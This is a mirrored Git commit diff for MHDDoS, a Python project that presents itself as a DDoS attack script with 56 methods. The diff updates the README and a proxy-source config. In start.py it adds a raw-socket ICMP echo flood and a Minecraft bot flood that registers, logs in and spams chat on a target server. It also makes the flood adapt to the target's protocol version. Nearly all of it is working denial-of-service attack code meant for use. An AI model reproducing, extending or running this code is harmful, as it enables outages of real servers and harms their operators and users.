mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 03:32:32 +08:00
Merge branch 'MatrixTM:main' into main
This commit is contained in:
commit
1fe10b7300
|
@ -1,6 +1,6 @@
|
|||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
|
||||
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 55 Methods</h1>
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 56 Methods</h1>
|
||||
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
|
||||
|
||||
<p align="center">
|
||||
|
@ -51,7 +51,8 @@
|
|||
* <img src="https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png" width="16" height="16" alt="udp"> UDP | UDP Flood Bypass
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/1918/1918576.png" width="16" height="16" alt="syn"> SYN | SYN Flood
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/1017/1017466.png" width="16" height="16" alt="cps"> CPS | Open and close connections with proxy
|
||||
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="cps"> CONNECTION | Open connection alive with proxy
|
||||
* <img src="https://icon-library.com/images/icon-ping/icon-ping-28.jpg" width="16" height="16" alt="icmp"> ICMP | Icmp echo request flood (Layer3)
|
||||
* <img src="https://s6.uupload.ir/files/1059643_g8hp.png" width="16" height="16" alt="connection"> CONNECTION | Open connection alive with proxy
|
||||
* <img src="https://ia803109.us.archive.org/27/items/source-engine-video-projects/source-engine-video-projects_itemimage.png" width="16" height="16" alt="vse"> VSE | Send Valve Source Engine Protocol
|
||||
* <img src="https://mycrackfree.com/wp-content/uploads/2018/08/TeamSpeak-Server-9.png" width="16" height="16" alt="teamspeak 3"> TS3 | Send Teamspeak 3 Status Ping Protocol
|
||||
* <img src="https://cdn2.downdetector.com/static/uploads/logo/75ef9fcabc1abea8fce0ebd0236a4132710fcb2e.png" width="16" height="16" alt="fivem"> FIVEM | Send Fivem Status Ping Protocol
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
{
|
||||
"MCBOT": "MHDDoS_",
|
||||
"MINECRAFT_DEFAULT_PROTOCOL": 47,
|
||||
"proxy-providers": [
|
||||
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
|
@ -10,11 +11,13 @@
|
|||
{"type":4, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.my-proxy.com/free-socks-4-proxy.html", "timeout": 5},
|
||||
{"type":4, "url": "http://proxysearcher.sourceforge.net/Proxy%20List.php?type=socks", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://proxysearcher.sourceforge.net/Proxy/List.php?type=socks", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
|
||||
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
|
@ -26,12 +29,12 @@
|
|||
{"type":5, "url": "https://github.com/roosterkid/openproxylist/blob/main/SOCKS5_RAW.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5},
|
||||
|
||||
|
||||
{"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5},
|
||||
|
@ -65,7 +68,7 @@
|
|||
{"type":1, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
|
||||
|
|
122
start.py
122
start.py
|
@ -11,7 +11,7 @@ from os import urandom as randbytes
|
|||
from pathlib import Path
|
||||
from re import compile
|
||||
from secrets import choice as randchoice
|
||||
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM,
|
||||
from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP,
|
||||
SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname,
|
||||
gethostname, socket)
|
||||
from ssl import CERT_NONE, SSLContext, create_default_context
|
||||
|
@ -31,10 +31,11 @@ from certifi import where
|
|||
from cloudscraper import create_scraper
|
||||
from dns import resolver
|
||||
from icmplib import ping
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data, ICMP
|
||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
||||
from requests import Response, Session, exceptions, get, cookies
|
||||
from yarl import URL
|
||||
from hashlib import md5
|
||||
|
||||
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
|
||||
datefmt="%H:%M:%S")
|
||||
|
@ -90,7 +91,8 @@ class Methods:
|
|||
|
||||
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM",
|
||||
"TS3", "MCPE", "ICMP"
|
||||
}
|
||||
|
||||
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
||||
|
@ -128,6 +130,7 @@ BYTES_SEND = Counter()
|
|||
|
||||
class Tools:
|
||||
IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
|
||||
protocolRex = compile('"protocol":(\d+)')
|
||||
|
||||
@staticmethod
|
||||
def humanbytes(i: int, binary: bool = False, precision: int = 2):
|
||||
|
@ -161,10 +164,6 @@ class Tools:
|
|||
for key, value in res.request.headers.items()))
|
||||
return size
|
||||
|
||||
@staticmethod
|
||||
def randchr(lengh: int) -> str:
|
||||
return str(ProxyTools.Random.rand_char(lengh)).strip()
|
||||
|
||||
@staticmethod
|
||||
def send(sock: socket, packet: bytes):
|
||||
global BYTES_SEND, REQUESTS_SENT
|
||||
|
@ -266,6 +265,10 @@ class Minecraft:
|
|||
def short(integer: int) -> bytes:
|
||||
return data_pack('>H', integer)
|
||||
|
||||
@staticmethod
|
||||
def long(integer: int) -> bytes:
|
||||
return data_pack('>q', integer)
|
||||
|
||||
@staticmethod
|
||||
def handshake(target: Tuple[str, int], version: int, state: int) -> bytes:
|
||||
return Minecraft.data(Minecraft.varint(0x00),
|
||||
|
@ -289,20 +292,41 @@ class Minecraft:
|
|||
Minecraft.varint(state))
|
||||
|
||||
@staticmethod
|
||||
def login(username: str) -> bytes:
|
||||
def login(protocol: int, username: str) -> bytes:
|
||||
if isinstance(username, str):
|
||||
username = username.encode()
|
||||
return Minecraft.data(Minecraft.varint(0x00),
|
||||
return Minecraft.data(Minecraft.varint(0x00 if protocol >= 391 else \
|
||||
0x01 if protocol >= 385 else \
|
||||
0x00),
|
||||
Minecraft.data(username))
|
||||
|
||||
@staticmethod
|
||||
def keepalive(num_id: int) -> bytes:
|
||||
return Minecraft.data(Minecraft.varint(0x00),
|
||||
def keepalive(protocol: int, num_id: int) -> bytes:
|
||||
return Minecraft.data(Minecraft.varint(0x0F if protocol >= 755 else \
|
||||
0x10 if protocol >= 712 else \
|
||||
0x0F if protocol >= 471 else \
|
||||
0x10 if protocol >= 464 else \
|
||||
0x0E if protocol >= 389 else \
|
||||
0x0C if protocol >= 386 else \
|
||||
0x0B if protocol >= 345 else \
|
||||
0x0A if protocol >= 343 else \
|
||||
0x0B if protocol >= 336 else \
|
||||
0x0C if protocol >= 318 else \
|
||||
0x0B if protocol >= 107 else \
|
||||
0x00),
|
||||
Minecraft.long(num_id) if protocol >= 339 else \
|
||||
Minecraft.varint(num_id))
|
||||
|
||||
@staticmethod
|
||||
def chat(message: str) -> bytes:
|
||||
return Minecraft.data(Minecraft.varint(0x01),
|
||||
def chat(protocol: int, message: str) -> bytes:
|
||||
return Minecraft.data(Minecraft.varint(0x03 if protocol >= 755 else \
|
||||
0x03 if protocol >= 464 else \
|
||||
0x02 if protocol >= 389 else \
|
||||
0x01 if protocol >= 343 else \
|
||||
0x02 if protocol >= 336 else \
|
||||
0x03 if protocol >= 318 else \
|
||||
0x02 if protocol >= 107 else \
|
||||
0x01),
|
||||
Minecraft.data(message.encode()))
|
||||
|
||||
|
||||
|
@ -320,11 +344,13 @@ class Layer4(Thread):
|
|||
ref: List[str] = None,
|
||||
method: str = "TCP",
|
||||
synevent: Event = None,
|
||||
proxies: Set[Proxy] = None):
|
||||
proxies: Set[Proxy] = None,
|
||||
protocolid: int = 74):
|
||||
Thread.__init__(self, daemon=True)
|
||||
self._amp_payload = None
|
||||
self._amp_payloads = cycle([])
|
||||
self._ref = ref
|
||||
self.protocolid = protocolid
|
||||
self._method = method
|
||||
self._target = target
|
||||
self._synevent = synevent
|
||||
|
@ -359,10 +385,15 @@ class Layer4(Thread):
|
|||
if name == "TS3": self.SENT_FLOOD = self.TS3
|
||||
if name == "MCPE": self.SENT_FLOOD = self.MCPE
|
||||
if name == "FIVEM": self.SENT_FLOOD = self.FIVEM
|
||||
if name == "ICMP":
|
||||
self.SENT_FLOOD = self.ICMP
|
||||
self._target = (self._target[0], 0)
|
||||
|
||||
if name == "MINECRAFT": self.SENT_FLOOD = self.MINECRAFT
|
||||
if name == "CPS": self.SENT_FLOOD = self.CPS
|
||||
if name == "CONNECTION": self.SENT_FLOOD = self.CONNECTION
|
||||
if name == "MCBOT": self.SENT_FLOOD = self.MCBOT
|
||||
|
||||
if name == "RDP":
|
||||
self._amp_payload = (
|
||||
b'\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
|
@ -408,7 +439,7 @@ class Layer4(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def MINECRAFT(self) -> None:
|
||||
handshake = Minecraft.handshake(self._target, 74, 1)
|
||||
handshake = Minecraft.handshake(self._target, self.protocolid, 1)
|
||||
ping = Minecraft.data(b'\x00')
|
||||
|
||||
s = None
|
||||
|
@ -444,6 +475,15 @@ class Layer4(Thread):
|
|||
continue
|
||||
Tools.safe_close(s)
|
||||
|
||||
def ICMP(self) -> None:
|
||||
payload = self._genrate_icmp()
|
||||
s = None
|
||||
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_ICMP) as s:
|
||||
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
|
||||
while Tools.sendto(s, payload, self._target):
|
||||
continue
|
||||
Tools.safe_close(s)
|
||||
|
||||
def SYN(self) -> None:
|
||||
payload = self._genrate_syn()
|
||||
s = None
|
||||
|
@ -464,22 +504,25 @@ class Layer4(Thread):
|
|||
|
||||
def MCBOT(self) -> None:
|
||||
s = None
|
||||
|
||||
with suppress(Exception), self.open_connection(AF_INET, SOCK_STREAM) as s:
|
||||
Tools.send(s, Minecraft.handshake_forwarded(self._target,
|
||||
47,
|
||||
self.protocolid,
|
||||
2,
|
||||
ProxyTools.Random.rand_ipv4(),
|
||||
uuid4()))
|
||||
Tools.send(s, Minecraft.login(f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"))
|
||||
username = f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"
|
||||
password = md5(username.encode()).hexdigest()[:8].title()
|
||||
Tools.send(s, Minecraft.login(self.protocolid, username))
|
||||
|
||||
sleep(1.5)
|
||||
|
||||
c = 360
|
||||
while Tools.send(s, Minecraft.keepalive(ProxyTools.Random.rand_int(1111111, 9999999))):
|
||||
c -= 1
|
||||
if c:
|
||||
continue
|
||||
c = 360
|
||||
Tools.send(s, Minecraft.chat(Tools.randchr(100)))
|
||||
Tools.send(s, Minecraft.chat(self.protocolid, "/register %s %s" % (password, password)))
|
||||
Tools.send(s, Minecraft.chat(self.protocolid, "/login %s" % password))
|
||||
|
||||
while Tools.send(s, Minecraft.chat(self.protocolid, str(ProxyTools.Random.rand_str(256)))):
|
||||
sleep(1.1)
|
||||
|
||||
Tools.safe_close(s)
|
||||
|
||||
def VSE(self) -> None:
|
||||
|
@ -524,11 +567,22 @@ class Layer4(Thread):
|
|||
ip.set_ip_dst(self._target[0])
|
||||
tcp: TCP = TCP()
|
||||
tcp.set_SYN()
|
||||
tcp.set_th_flags(0x02)
|
||||
tcp.set_th_dport(self._target[1])
|
||||
tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535))
|
||||
ip.contains(tcp)
|
||||
return ip.get_packet()
|
||||
|
||||
def _genrate_icmp(self) -> bytes:
|
||||
ip: IP = IP()
|
||||
ip.set_ip_src(__ip__)
|
||||
ip.set_ip_dst(self._target[0])
|
||||
icmp: ICMP = ICMP()
|
||||
icmp.set_icmp_type(icmp.ICMP_ECHO)
|
||||
icmp.contains(Data(b"A" * ProxyTools.Random.rand_int(16, 1024)))
|
||||
ip.contains(icmp)
|
||||
return ip.get_packet()
|
||||
|
||||
def _generate_amp(self):
|
||||
payloads = []
|
||||
for ref in self._ref:
|
||||
|
@ -1561,7 +1615,7 @@ if __name__ == '__main__':
|
|||
if port > 65535 or port < 1:
|
||||
exit("Invalid Port [Min: 1 / Max: 65535] ")
|
||||
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN"} and \
|
||||
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
|
||||
not ToolsConsole.checkRawSocket():
|
||||
exit("Cannot Create Raw Socket")
|
||||
|
||||
|
@ -1578,7 +1632,7 @@ if __name__ == '__main__':
|
|||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
|
||||
if method == "SYN":
|
||||
if method in {"SYN", "ICMP"}:
|
||||
__ip__ = __ip__
|
||||
|
||||
if len(argv) >= 6:
|
||||
|
@ -1605,9 +1659,23 @@ if __name__ == '__main__':
|
|||
|
||||
else:
|
||||
logger.setLevel("DEBUG")
|
||||
|
||||
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
|
||||
|
||||
if method == "MCBOT":
|
||||
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
|
||||
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
|
||||
Tools.send(s, Minecraft.data(b'\x00'))
|
||||
|
||||
protocolid = Tools.protocolRex.search(str(s.recv(1024)))
|
||||
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
|
||||
|
||||
if 47 < protocolid > 758:
|
||||
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
|
||||
|
||||
for _ in range(threads):
|
||||
Layer4((target, port), ref, method, event,
|
||||
proxies).start()
|
||||
proxies, protocolid).start()
|
||||
|
||||
logger.info(
|
||||
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
|
||||
|
|
Loading…
Reference in New Issue
Block a user